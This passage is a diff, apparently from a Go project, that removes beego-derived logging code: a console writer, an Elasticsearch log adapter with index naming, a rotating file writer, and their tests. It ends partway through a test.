||||
Formatter string `json:"formatter"`
|
||||
Level int `json:"level"`
|
||||
Colorful bool `json:"color"` // this filed is useful only when system's terminal supports color
|
||||
}
|
||||
|
||||
func (c *consoleWriter) Format(lm *LogMsg) string {
|
||||
msg := lm.OldStyleFormat()
|
||||
if c.Colorful {
|
||||
msg = strings.Replace(msg, levelPrefix[lm.Level], colors[lm.Level](levelPrefix[lm.Level]), 1)
|
||||
}
|
||||
h, _, _ := formatTimeHeader(lm.When)
|
||||
return string(append(h, msg...))
|
||||
}
|
||||
|
||||
func (c *consoleWriter) SetFormatter(f LogFormatter) {
|
||||
c.formatter = f
|
||||
}
|
||||
|
||||
// NewConsole creates ConsoleWriter returning as LoggerInterface.
|
||||
func NewConsole() Logger {
|
||||
return newConsole()
|
||||
}
|
||||
|
||||
func newConsole() *consoleWriter {
|
||||
cw := &consoleWriter{
|
||||
lg: newLogWriter(ansicolor.NewAnsiColorWriter(os.Stdout)),
|
||||
Level: LevelDebug,
|
||||
Colorful: true,
|
||||
}
|
||||
cw.formatter = cw
|
||||
return cw
|
||||
}
|
||||
|
||||
// Init initianlizes the console logger.
|
||||
// jsonConfig must be in the format '{"level":LevelTrace}'
|
||||
func (c *consoleWriter) Init(config string) error {
|
||||
if len(config) == 0 {
|
||||
return nil
|
||||
}
|
||||
|
||||
res := json.Unmarshal([]byte(config), c)
|
||||
if res == nil && len(c.Formatter) > 0 {
|
||||
fmtr, ok := GetFormatter(c.Formatter)
|
||||
if !ok {
|
||||
return errors.New(fmt.Sprintf("the formatter with name: %s not found", c.Formatter))
|
||||
}
|
||||
c.formatter = fmtr
|
||||
}
|
||||
return res
|
||||
}
|
||||
|
||||
// WriteMsg writes message in console.
|
||||
func (c *consoleWriter) WriteMsg(lm *LogMsg) error {
|
||||
if lm.Level > c.Level {
|
||||
return nil
|
||||
}
|
||||
msg := c.formatter.Format(lm)
|
||||
c.lg.writeln(msg)
|
||||
return nil
|
||||
}
|
||||
|
||||
// Destroy implementing method. empty.
|
||||
func (c *consoleWriter) Destroy() {
|
||||
}
|
||||
|
||||
// Flush implementing method. empty.
|
||||
func (c *consoleWriter) Flush() {
|
||||
}
|
||||
|
||||
func init() {
|
||||
Register(AdapterConsole, NewConsole)
|
||||
}
|
||||
@@ -1,84 +0,0 @@
|
||||
// Copyright 2014 beego Author. All Rights Reserved.
|
||||
//
|
||||
// Licensed under the Apache License, Version 2.0 (the "License");
|
||||
// you may not use this file except in compliance with the License.
|
||||
// You may obtain a copy of the License at
|
||||
//
|
||||
// http://www.apache.org/licenses/LICENSE-2.0
|
||||
//
|
||||
// Unless required by applicable law or agreed to in writing, software
|
||||
// distributed under the License is distributed on an "AS IS" BASIS,
|
||||
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
// See the License for the specific language governing permissions and
|
||||
// limitations under the License.
|
||||
|
||||
package logs
|
||||
|
||||
import (
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"github.com/stretchr/testify/assert"
|
||||
)
|
||||
|
||||
// Try each log level in decreasing order of priority.
|
||||
func testConsoleCalls(bl *BeeLogger) {
|
||||
bl.Emergency("emergency")
|
||||
bl.Alert("alert")
|
||||
bl.Critical("critical")
|
||||
bl.Error("error")
|
||||
bl.Warning("warning")
|
||||
bl.Notice("notice")
|
||||
bl.Informational("informational")
|
||||
bl.Debug("debug")
|
||||
}
|
||||
|
||||
// Test console logging by visually comparing the lines being output with and
|
||||
// without a log level specification.
|
||||
func TestConsole(t *testing.T) {
|
||||
log1 := NewLogger(10000)
|
||||
log1.EnableFuncCallDepth(true)
|
||||
log1.SetLogger("console", "")
|
||||
testConsoleCalls(log1)
|
||||
|
||||
log2 := NewLogger(100)
|
||||
log2.SetLogger("console", `{"level":3}`)
|
||||
testConsoleCalls(log2)
|
||||
}
|
||||
|
||||
// Test console without color
|
||||
func TestConsoleNoColor(t *testing.T) {
|
||||
log := NewLogger(100)
|
||||
log.SetLogger("console", `{"color":false}`)
|
||||
testConsoleCalls(log)
|
||||
}
|
||||
|
||||
// Test console async
|
||||
func TestConsoleAsync(t *testing.T) {
|
||||
log := NewLogger(100)
|
||||
log.SetLogger("console")
|
||||
log.Async()
|
||||
// log.Close()
|
||||
testConsoleCalls(log)
|
||||
for len(log.msgChan) != 0 {
|
||||
time.Sleep(1 * time.Millisecond)
|
||||
}
|
||||
log.Flush()
|
||||
log.Close()
|
||||
}
|
||||
|
||||
func TestFormat(t *testing.T) {
|
||||
log := newConsole()
|
||||
lm := &LogMsg{
|
||||
Level: LevelDebug,
|
||||
Msg: "Hello, world",
|
||||
When: time.Date(2020, 9, 19, 20, 12, 37, 9, time.UTC),
|
||||
FilePath: "/user/home/main.go",
|
||||
LineNumber: 13,
|
||||
Prefix: "Cus",
|
||||
}
|
||||
res := log.Format(lm)
|
||||
assert.Equal(t, "2020/09/19 20:12:37.000 \x1b[1;44m[D]\x1b[0m Cus Hello, world", res)
|
||||
err := log.WriteMsg(lm)
|
||||
assert.Nil(t, err)
|
||||
}
|
||||
@@ -1,123 +0,0 @@
|
||||
package es
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"fmt"
|
||||
"net/url"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/elastic/go-elasticsearch/v6"
|
||||
"github.com/elastic/go-elasticsearch/v6/esapi"
|
||||
|
||||
"github.com/cdle/sillyplus/core/logs"
|
||||
)
|
||||
|
||||
// NewES returns a LoggerInterface
|
||||
func NewES() logs.Logger {
|
||||
cw := &esLogger{
|
||||
Level: logs.LevelDebug,
|
||||
indexNaming: indexNaming,
|
||||
}
|
||||
return cw
|
||||
}
|
||||
|
||||
// esLogger will log msg into ES
|
||||
// before you using this implementation,
|
||||
// please import this package
|
||||
// usually means that you can import this package in your main package
|
||||
// for example, anonymous:
|
||||
// import _ "github.com/cdle/sillyplus/core/logs/es"
|
||||
type esLogger struct {
|
||||
*elasticsearch.Client
|
||||
DSN string `json:"dsn"`
|
||||
Level int `json:"level"`
|
||||
formatter logs.LogFormatter
|
||||
Formatter string `json:"formatter"`
|
||||
|
||||
indexNaming IndexNaming
|
||||
}
|
||||
|
||||
func (el *esLogger) Format(lm *logs.LogMsg) string {
|
||||
msg := lm.OldStyleFormat()
|
||||
idx := LogDocument{
|
||||
Timestamp: lm.When.Format(time.RFC3339),
|
||||
Msg: msg,
|
||||
}
|
||||
body, err := json.Marshal(idx)
|
||||
if err != nil {
|
||||
return msg
|
||||
}
|
||||
return string(body)
|
||||
}
|
||||
|
||||
func (el *esLogger) SetFormatter(f logs.LogFormatter) {
|
||||
el.formatter = f
|
||||
}
|
||||
|
||||
// {"dsn":"http://localhost:9200/","level":1}
|
||||
func (el *esLogger) Init(config string) error {
|
||||
err := json.Unmarshal([]byte(config), el)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if el.DSN == "" {
|
||||
return errors.New("empty dsn")
|
||||
} else if u, err := url.Parse(el.DSN); err != nil {
|
||||
return err
|
||||
} else if u.Path == "" {
|
||||
return errors.New("missing prefix")
|
||||
} else {
|
||||
conn, err := elasticsearch.NewClient(elasticsearch.Config{
|
||||
Addresses: []string{el.DSN},
|
||||
})
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
el.Client = conn
|
||||
}
|
||||
if len(el.Formatter) > 0 {
|
||||
fmtr, ok := logs.GetFormatter(el.Formatter)
|
||||
if !ok {
|
||||
return errors.New(fmt.Sprintf("the formatter with name: %s not found", el.Formatter))
|
||||
}
|
||||
el.formatter = fmtr
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// WriteMsg writes the msg and level into es
|
||||
func (el *esLogger) WriteMsg(lm *logs.LogMsg) error {
|
||||
if lm.Level > el.Level {
|
||||
return nil
|
||||
}
|
||||
|
||||
msg := el.formatter.Format(lm)
|
||||
|
||||
req := esapi.IndexRequest{
|
||||
Index: indexNaming.IndexName(lm),
|
||||
DocumentType: "logs",
|
||||
Body: strings.NewReader(msg),
|
||||
}
|
||||
_, err := req.Do(context.Background(), el.Client)
|
||||
return err
|
||||
}
|
||||
|
||||
// Destroy is an empty method
|
||||
func (el *esLogger) Destroy() {
|
||||
}
|
||||
|
||||
// Flush is an empty method
|
||||
func (el *esLogger) Flush() {
|
||||
}
|
||||
|
||||
type LogDocument struct {
|
||||
Timestamp string `json:"timestamp"`
|
||||
Msg string `json:"msg"`
|
||||
}
|
||||
|
||||
func init() {
|
||||
logs.Register(logs.AdapterEs, NewES)
|
||||
}
|
||||
@@ -1,39 +0,0 @@
|
||||
// Copyright 2020
|
||||
//
|
||||
// Licensed under the Apache License, Version 2.0 (the "License");
|
||||
// you may not use this file except in compliance with the License.
|
||||
// You may obtain a copy of the License at
|
||||
//
|
||||
// http://www.apache.org/licenses/LICENSE-2.0
|
||||
//
|
||||
// Unless required by applicable law or agreed to in writing, software
|
||||
// distributed under the License is distributed on an "AS IS" BASIS,
|
||||
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
// See the License for the specific language governing permissions and
|
||||
// limitations under the License.
|
||||
|
||||
package es
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
|
||||
"github.com/cdle/sillyplus/core/logs"
|
||||
)
|
||||
|
||||
// IndexNaming generate the index name
|
||||
type IndexNaming interface {
|
||||
IndexName(lm *logs.LogMsg) string
|
||||
}
|
||||
|
||||
var indexNaming IndexNaming = &defaultIndexNaming{}
|
||||
|
||||
// SetIndexNaming will register global IndexNaming
|
||||
func SetIndexNaming(i IndexNaming) {
|
||||
indexNaming = i
|
||||
}
|
||||
|
||||
type defaultIndexNaming struct{}
|
||||
|
||||
func (d *defaultIndexNaming) IndexName(lm *logs.LogMsg) string {
|
||||
return fmt.Sprintf("%04d.%02d.%02d", lm.When.Year(), lm.When.Month(), lm.When.Day())
|
||||
}
|
||||
@@ -1,33 +0,0 @@
|
||||
// Copyright 2020
|
||||
//
|
||||
// Licensed under the Apache License, Version 2.0 (the "License");
|
||||
// you may not use this file except in compliance with the License.
|
||||
// You may obtain a copy of the License at
|
||||
//
|
||||
// http://www.apache.org/licenses/LICENSE-2.0
|
||||
//
|
||||
// Unless required by applicable law or agreed to in writing, software
|
||||
// distributed under the License is distributed on an "AS IS" BASIS,
|
||||
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
// See the License for the specific language governing permissions and
|
||||
// limitations under the License.
|
||||
|
||||
package es
|
||||
|
||||
import (
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"github.com/cdle/sillyplus/core/logs"
|
||||
"github.com/stretchr/testify/assert"
|
||||
)
|
||||
|
||||
func TestDefaultIndexNaming_IndexName(t *testing.T) {
|
||||
tm := time.Date(2020, 9, 12, 1, 34, 45, 234, time.UTC)
|
||||
lm := &logs.LogMsg{
|
||||
When: tm,
|
||||
}
|
||||
|
||||
res := (&defaultIndexNaming{}).IndexName(lm)
|
||||
assert.Equal(t, "2020.09.12", res)
|
||||
}
|
||||
@@ -1,442 +0,0 @@
|
||||
// Copyright 2014 beego Author. All Rights Reserved.
|
||||
//
|
||||
// Licensed under the Apache License, Version 2.0 (the "License");
|
||||
// you may not use this file except in compliance with the License.
|
||||
// You may obtain a copy of the License at
|
||||
//
|
||||
// http://www.apache.org/licenses/LICENSE-2.0
|
||||
//
|
||||
// Unless required by applicable law or agreed to in writing, software
|
||||
// distributed under the License is distributed on an "AS IS" BASIS,
|
||||
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
// See the License for the specific language governing permissions and
|
||||
// limitations under the License.
|
||||
|
||||
package logs
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io"
|
||||
"os"
|
||||
"path"
|
||||
"path/filepath"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
// fileLogWriter implements LoggerInterface.
|
||||
// Writes messages by lines limit, file size limit, or time frequency.
|
||||
type fileLogWriter struct {
|
||||
sync.RWMutex // write log order by order and atomic incr maxLinesCurLines and maxSizeCurSize
|
||||
|
||||
Rotate bool `json:"rotate"`
|
||||
Daily bool `json:"daily"`
|
||||
Hourly bool `json:"hourly"`
|
||||
|
||||
// The opened file
|
||||
Filename string `json:"filename"`
|
||||
fileWriter *os.File
|
||||
|
||||
// Rotate at line
|
||||
MaxLines int `json:"maxlines"`
|
||||
maxLinesCurLines int
|
||||
|
||||
MaxFiles int `json:"maxfiles"`
|
||||
MaxFilesCurFiles int
|
||||
|
||||
// Rotate at size
|
||||
MaxSize int `json:"maxsize"`
|
||||
maxSizeCurSize int
|
||||
|
||||
// Rotate daily
|
||||
MaxDays int64 `json:"maxdays"`
|
||||
dailyOpenDate int
|
||||
dailyOpenTime time.Time
|
||||
|
||||
// Rotate hourly
|
||||
MaxHours int64 `json:"maxhours"`
|
||||
hourlyOpenDate int
|
||||
hourlyOpenTime time.Time
|
||||
|
||||
Level int `json:"level"`
|
||||
// Permissions for log file
|
||||
Perm string `json:"perm"`
|
||||
// Permissions for directory if it is specified in FileName
|
||||
DirPerm string `json:"dirperm"`
|
||||
|
||||
RotatePerm string `json:"rotateperm"`
|
||||
|
||||
fileNameOnly, suffix string // like "project.log", project is fileNameOnly and .log is suffix
|
||||
|
||||
logFormatter LogFormatter
|
||||
Formatter string `json:"formatter"`
|
||||
}
|
||||
|
||||
// newFileWriter creates a FileLogWriter returning as LoggerInterface.
|
||||
func newFileWriter() Logger {
|
||||
w := &fileLogWriter{
|
||||
Daily: true,
|
||||
MaxDays: 7,
|
||||
Hourly: false,
|
||||
MaxHours: 168,
|
||||
Rotate: true,
|
||||
RotatePerm: "0440",
|
||||
Level: LevelTrace,
|
||||
Perm: "0660",
|
||||
DirPerm: "0770",
|
||||
MaxLines: 10000000,
|
||||
MaxFiles: 999,
|
||||
MaxSize: 1 << 28,
|
||||
}
|
||||
w.logFormatter = w
|
||||
return w
|
||||
}
|
||||
|
||||
func (*fileLogWriter) Format(lm *LogMsg) string {
|
||||
msg := lm.OldStyleFormat()
|
||||
hd, _, _ := formatTimeHeader(lm.When)
|
||||
msg = fmt.Sprintf("%s %s\n", string(hd), msg)
|
||||
return msg
|
||||
}
|
||||
|
||||
func (w *fileLogWriter) SetFormatter(f LogFormatter) {
|
||||
w.logFormatter = f
|
||||
}
|
||||
|
||||
// Init file logger with json config.
|
||||
// jsonConfig like:
|
||||
// {
|
||||
// "filename":"logs/beego.log",
|
||||
// "maxLines":10000,
|
||||
// "maxsize":1024,
|
||||
// "daily":true,
|
||||
// "maxDays":15,
|
||||
// "rotate":true,
|
||||
// "perm":"0600"
|
||||
// }
|
||||
func (w *fileLogWriter) Init(config string) error {
|
||||
err := json.Unmarshal([]byte(config), w)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if w.Filename == "" {
|
||||
return errors.New("jsonconfig must have filename")
|
||||
}
|
||||
w.suffix = filepath.Ext(w.Filename)
|
||||
w.fileNameOnly = strings.TrimSuffix(w.Filename, w.suffix)
|
||||
if w.suffix == "" {
|
||||
w.suffix = ".log"
|
||||
}
|
||||
|
||||
if len(w.Formatter) > 0 {
|
||||
fmtr, ok := GetFormatter(w.Formatter)
|
||||
if !ok {
|
||||
return fmt.Errorf("the formatter with name: %s not found", w.Formatter)
|
||||
}
|
||||
w.logFormatter = fmtr
|
||||
}
|
||||
err = w.startLogger()
|
||||
return err
|
||||
}
|
||||
|
||||
// start file logger. create log file and set to locker-inside file writer.
|
||||
func (w *fileLogWriter) startLogger() error {
|
||||
file, err := w.createLogFile()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if w.fileWriter != nil {
|
||||
w.fileWriter.Close()
|
||||
}
|
||||
w.fileWriter = file
|
||||
return w.initFd()
|
||||
}
|
||||
|
||||
func (w *fileLogWriter) needRotateDaily(day int) bool {
|
||||
return (w.MaxLines > 0 && w.maxLinesCurLines >= w.MaxLines) ||
|
||||
(w.MaxSize > 0 && w.maxSizeCurSize >= w.MaxSize) ||
|
||||
(w.Daily && day != w.dailyOpenDate)
|
||||
}
|
||||
|
||||
func (w *fileLogWriter) needRotateHourly(hour int) bool {
|
||||
return (w.MaxLines > 0 && w.maxLinesCurLines >= w.MaxLines) ||
|
||||
(w.MaxSize > 0 && w.maxSizeCurSize >= w.MaxSize) ||
|
||||
(w.Hourly && hour != w.hourlyOpenDate)
|
||||
}
|
||||
|
||||
// WriteMsg writes logger message into file.
|
||||
func (w *fileLogWriter) WriteMsg(lm *LogMsg) error {
|
||||
if lm.Level > w.Level {
|
||||
return nil
|
||||
}
|
||||
|
||||
_, d, h := formatTimeHeader(lm.When)
|
||||
|
||||
msg := w.logFormatter.Format(lm)
|
||||
if w.Rotate {
|
||||
w.RLock()
|
||||
if w.needRotateHourly(h) {
|
||||
w.RUnlock()
|
||||
w.Lock()
|
||||
if w.needRotateHourly(h) {
|
||||
if err := w.doRotate(lm.When); err != nil {
|
||||
fmt.Fprintf(os.Stderr, "FileLogWriter(%q): %s\n", w.Filename, err)
|
||||
}
|
||||
}
|
||||
w.Unlock()
|
||||
} else if w.needRotateDaily(d) {
|
||||
w.RUnlock()
|
||||
w.Lock()
|
||||
if w.needRotateDaily(d) {
|
||||
if err := w.doRotate(lm.When); err != nil {
|
||||
fmt.Fprintf(os.Stderr, "FileLogWriter(%q): %s\n", w.Filename, err)
|
||||
}
|
||||
}
|
||||
w.Unlock()
|
||||
} else {
|
||||
w.RUnlock()
|
||||
}
|
||||
}
|
||||
|
||||
w.Lock()
|
||||
_, err := w.fileWriter.Write([]byte(msg))
|
||||
if err == nil {
|
||||
w.maxLinesCurLines++
|
||||
w.maxSizeCurSize += len(msg)
|
||||
}
|
||||
w.Unlock()
|
||||
return err
|
||||
}
|
||||
|
||||
func (w *fileLogWriter) createLogFile() (*os.File, error) {
|
||||
// Open the log file
|
||||
perm, err := strconv.ParseInt(w.Perm, 8, 64)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
dirperm, err := strconv.ParseInt(w.DirPerm, 8, 64)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
filepath := path.Dir(w.Filename)
|
||||
os.MkdirAll(filepath, os.FileMode(dirperm))
|
||||
|
||||
fd, err := os.OpenFile(w.Filename, os.O_WRONLY|os.O_APPEND|os.O_CREATE, os.FileMode(perm))
|
||||
if err == nil {
|
||||
// Make sure file perm is user set perm cause of `os.OpenFile` will obey umask
|
||||
os.Chmod(w.Filename, os.FileMode(perm))
|
||||
}
|
||||
return fd, err
|
||||
}
|
||||
|
||||
func (w *fileLogWriter) initFd() error {
|
||||
fd := w.fileWriter
|
||||
fInfo, err := fd.Stat()
|
||||
if err != nil {
|
||||
return fmt.Errorf("get stat err: %s", err)
|
||||
}
|
||||
w.maxSizeCurSize = int(fInfo.Size())
|
||||
w.dailyOpenTime = time.Now()
|
||||
w.dailyOpenDate = w.dailyOpenTime.Day()
|
||||
w.hourlyOpenTime = time.Now()
|
||||
w.hourlyOpenDate = w.hourlyOpenTime.Hour()
|
||||
w.maxLinesCurLines = 0
|
||||
if w.Hourly {
|
||||
go w.hourlyRotate(w.hourlyOpenTime)
|
||||
} else if w.Daily {
|
||||
go w.dailyRotate(w.dailyOpenTime)
|
||||
}
|
||||
if fInfo.Size() > 0 && w.MaxLines > 0 {
|
||||
count, err := w.lines()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
w.maxLinesCurLines = count
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (w *fileLogWriter) dailyRotate(openTime time.Time) {
|
||||
y, m, d := openTime.Add(24 * time.Hour).Date()
|
||||
nextDay := time.Date(y, m, d, 0, 0, 0, 0, openTime.Location())
|
||||
tm := time.NewTimer(time.Duration(nextDay.UnixNano() - openTime.UnixNano() + 100))
|
||||
<-tm.C
|
||||
w.Lock()
|
||||
if w.needRotateDaily(time.Now().Day()) {
|
||||
if err := w.doRotate(time.Now()); err != nil {
|
||||
fmt.Fprintf(os.Stderr, "FileLogWriter(%q): %s\n", w.Filename, err)
|
||||
}
|
||||
}
|
||||
w.Unlock()
|
||||
}
|
||||
|
||||
func (w *fileLogWriter) hourlyRotate(openTime time.Time) {
|
||||
y, m, d := openTime.Add(1 * time.Hour).Date()
|
||||
h, _, _ := openTime.Add(1 * time.Hour).Clock()
|
||||
nextHour := time.Date(y, m, d, h, 0, 0, 0, openTime.Location())
|
||||
tm := time.NewTimer(time.Duration(nextHour.UnixNano() - openTime.UnixNano() + 100))
|
||||
<-tm.C
|
||||
w.Lock()
|
||||
if w.needRotateHourly(time.Now().Hour()) {
|
||||
if err := w.doRotate(time.Now()); err != nil {
|
||||
fmt.Fprintf(os.Stderr, "FileLogWriter(%q): %s\n", w.Filename, err)
|
||||
}
|
||||
}
|
||||
w.Unlock()
|
||||
}
|
||||
|
||||
func (w *fileLogWriter) lines() (int, error) {
|
||||
fd, err := os.Open(w.Filename)
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
defer fd.Close()
|
||||
|
||||
buf := make([]byte, 32768) // 32k
|
||||
count := 0
|
||||
lineSep := []byte{'\n'}
|
||||
|
||||
for {
|
||||
c, err := fd.Read(buf)
|
||||
if err != nil && err != io.EOF {
|
||||
return count, err
|
||||
}
|
||||
|
||||
count += bytes.Count(buf[:c], lineSep)
|
||||
|
||||
if err == io.EOF {
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
return count, nil
|
||||
}
|
||||
|
||||
// DoRotate means it needs to write logs into a new file.
|
||||
// new file name like xx.2013-01-01.log (daily) or xx.001.log (by line or size)
|
||||
func (w *fileLogWriter) doRotate(logTime time.Time) error {
|
||||
// file exists
|
||||
// Find the next available number
|
||||
num := w.MaxFilesCurFiles + 1
|
||||
fName := ""
|
||||
format := ""
|
||||
var openTime time.Time
|
||||
rotatePerm, err := strconv.ParseInt(w.RotatePerm, 8, 64)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
_, err = os.Lstat(w.Filename)
|
||||
if err != nil {
|
||||
// even if the file is not exist or other ,we should RESTART the logger
|
||||
goto RESTART_LOGGER
|
||||
}
|
||||
|
||||
if w.Hourly {
|
||||
format = "2006010215"
|
||||
openTime = w.hourlyOpenTime
|
||||
} else if w.Daily {
|
||||
format = "2006-01-02"
|
||||
openTime = w.dailyOpenTime
|
||||
}
|
||||
|
||||
// only when one of them be setted, then the file would be splited
|
||||
if w.MaxLines > 0 || w.MaxSize > 0 {
|
||||
for ; err == nil && num <= w.MaxFiles; num++ {
|
||||
fName = w.fileNameOnly + fmt.Sprintf(".%s.%03d%s", logTime.Format(format), num, w.suffix)
|
||||
_, err = os.Lstat(fName)
|
||||
}
|
||||
} else {
|
||||
fName = w.fileNameOnly + fmt.Sprintf(".%s.%03d%s", openTime.Format(format), num, w.suffix)
|
||||
_, err = os.Lstat(fName)
|
||||
w.MaxFilesCurFiles = num
|
||||
}
|
||||
|
||||
// return error if the last file checked still existed
|
||||
if err == nil {
|
||||
return fmt.Errorf("Rotate: Cannot find free log number to rename %s", w.Filename)
|
||||
}
|
||||
|
||||
// close fileWriter before rename
|
||||
w.fileWriter.Close()
|
||||
|
||||
// Rename the file to its new found name
|
||||
// even if occurs error,we MUST guarantee to restart new logger
|
||||
err = os.Rename(w.Filename, fName)
|
||||
if err != nil {
|
||||
goto RESTART_LOGGER
|
||||
}
|
||||
|
||||
err = os.Chmod(fName, os.FileMode(rotatePerm))
|
||||
|
||||
RESTART_LOGGER:
|
||||
|
||||
startLoggerErr := w.startLogger()
|
||||
go w.deleteOldLog()
|
||||
|
||||
if startLoggerErr != nil {
|
||||
return fmt.Errorf("Rotate StartLogger: %s", startLoggerErr)
|
||||
}
|
||||
if err != nil {
|
||||
return fmt.Errorf("Rotate: %s", err)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (w *fileLogWriter) deleteOldLog() {
|
||||
dir := filepath.Dir(w.Filename)
|
||||
absolutePath, err := filepath.EvalSymlinks(w.Filename)
|
||||
if err == nil {
|
||||
dir = filepath.Dir(absolutePath)
|
||||
}
|
||||
filepath.Walk(dir, func(path string, info os.FileInfo, err error) (returnErr error) {
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
fmt.Fprintf(os.Stderr, "Unable to delete old log '%s', error: %v\n", path, r)
|
||||
}
|
||||
}()
|
||||
|
||||
if info == nil {
|
||||
return
|
||||
}
|
||||
if w.Hourly {
|
||||
if !info.IsDir() && info.ModTime().Add(1*time.Hour*time.Duration(w.MaxHours)).Before(time.Now()) {
|
||||
if strings.HasPrefix(filepath.Base(path), filepath.Base(w.fileNameOnly)) &&
|
||||
strings.HasSuffix(filepath.Base(path), w.suffix) {
|
||||
os.Remove(path)
|
||||
}
|
||||
}
|
||||
} else if w.Daily {
|
||||
if !info.IsDir() && info.ModTime().Add(24*time.Hour*time.Duration(w.MaxDays)).Before(time.Now()) {
|
||||
if strings.HasPrefix(filepath.Base(path), filepath.Base(w.fileNameOnly)) &&
|
||||
strings.HasSuffix(filepath.Base(path), w.suffix) {
|
||||
os.Remove(path)
|
||||
}
|
||||
}
|
||||
}
|
||||
return
|
||||
})
|
||||
}
|
||||
|
||||
// Destroy close the file description, close file writer.
|
||||
func (w *fileLogWriter) Destroy() {
|
||||
w.fileWriter.Close()
|
||||
}
|
||||
|
||||
// Flush flushes file logger.
|
||||
// there are no buffering messages in file logger in memory.
|
||||
// flush file means sync file from disk.
|
||||
func (w *fileLogWriter) Flush() {
|
||||
w.fileWriter.Sync()
|
||||
}
|
||||
|
||||
func init() {
|
||||
Register(AdapterFile, newFileWriter)
|
||||
}
|
||||
@@ -1,503 +0,0 @@
|
||||
// Copyright 2014 beego Author. All Rights Reserved.
|
||||
//
|
||||
// Licensed under the Apache License, Version 2.0 (the "License");
|
||||
// you may not use this file except in compliance with the License.
|
||||
// You may obtain a copy of the License at
|
||||
//
|
||||
// http://www.apache.org/licenses/LICENSE-2.0
|
||||
//
|
||||
// Unless required by applicable law or agreed to in writing, software
|
||||
// distributed under the License is distributed on an "AS IS" BASIS,
|
||||
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
// See the License for the specific language governing permissions and
|
||||
// limitations under the License.
|
||||
|
||||
package logs
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"strconv"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"github.com/stretchr/testify/assert"
|
||||
)
|
||||
|
||||
func TestFilePerm(t *testing.T) {
|
||||
log := NewLogger(10000)
|
||||
// use 0666 as test perm cause the default umask is 022
|
||||
log.SetLogger("file", `{"filename":"test.log", "perm": "0666"}`)
|
||||
log.Debug("debug")
|
||||
log.Informational("info")
|
||||
log.Notice("notice")
|
||||
log.Warning("warning")
|
||||
log.Error("error")
|
||||
log.Alert("alert")
|
||||
log.Critical("critical")
|
||||
log.Emergency("emergency")
|
||||
file, err := os.Stat("test.log")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if file.Mode() != 0o666 {
|
||||
t.Fatal("unexpected log file permission")
|
||||
}
|
||||
os.Remove("test.log")
|
||||
}
|
||||
|
||||
func TestFileWithPrefixPath(t *testing.T) {
|
||||
log := NewLogger(10000)
|
||||
log.SetLogger("file", `{"filename":"log/test.log"}`)
|
||||
log.Debug("debug")
|
||||
log.Informational("info")
|
||||
log.Notice("notice")
|
||||
log.Warning("warning")
|
||||
log.Error("error")
|
||||
log.Alert("alert")
|
||||
log.Critical("critical")
|
||||
log.Emergency("emergency")
|
||||
_, err := os.Stat("log/test.log")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
os.Remove("log/test.log")
|
||||
os.Remove("log")
|
||||
}
|
||||
|
||||
func TestFilePermWithPrefixPath(t *testing.T) {
|
||||
log := NewLogger(10000)
|
||||
log.SetLogger("file", `{"filename":"mylogpath/test.log", "perm": "0220", "dirperm": "0770"}`)
|
||||
log.Debug("debug")
|
||||
log.Informational("info")
|
||||
log.Notice("notice")
|
||||
log.Warning("warning")
|
||||
log.Error("error")
|
||||
log.Alert("alert")
|
||||
log.Critical("critical")
|
||||
log.Emergency("emergency")
|
||||
|
||||
dir, err := os.Stat("mylogpath")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if !dir.IsDir() {
|
||||
t.Fatal("mylogpath expected to be a directory")
|
||||
}
|
||||
|
||||
file, err := os.Stat("mylogpath/test.log")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if file.Mode() != 0o0220 {
|
||||
t.Fatal("unexpected file permission")
|
||||
}
|
||||
|
||||
os.Remove("mylogpath/test.log")
|
||||
os.Remove("mylogpath")
|
||||
}
|
||||
|
||||
func TestFile1(t *testing.T) {
|
||||
log := NewLogger(10000)
|
||||
log.SetLogger("file", `{"filename":"test.log"}`)
|
||||
log.Debug("debug")
|
||||
log.Informational("info")
|
||||
log.Notice("notice")
|
||||
log.Warning("warning")
|
||||
log.Error("error")
|
||||
log.Alert("alert")
|
||||
log.Critical("critical")
|
||||
log.Emergency("emergency")
|
||||
f, err := os.Open("test.log")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
b := bufio.NewReader(f)
|
||||
lineNum := 0
|
||||
for {
|
||||
line, _, err := b.ReadLine()
|
||||
if err != nil {
|
||||
break
|
||||
}
|
||||
if len(line) > 0 {
|
||||
lineNum++
|
||||
}
|
||||
}
|
||||
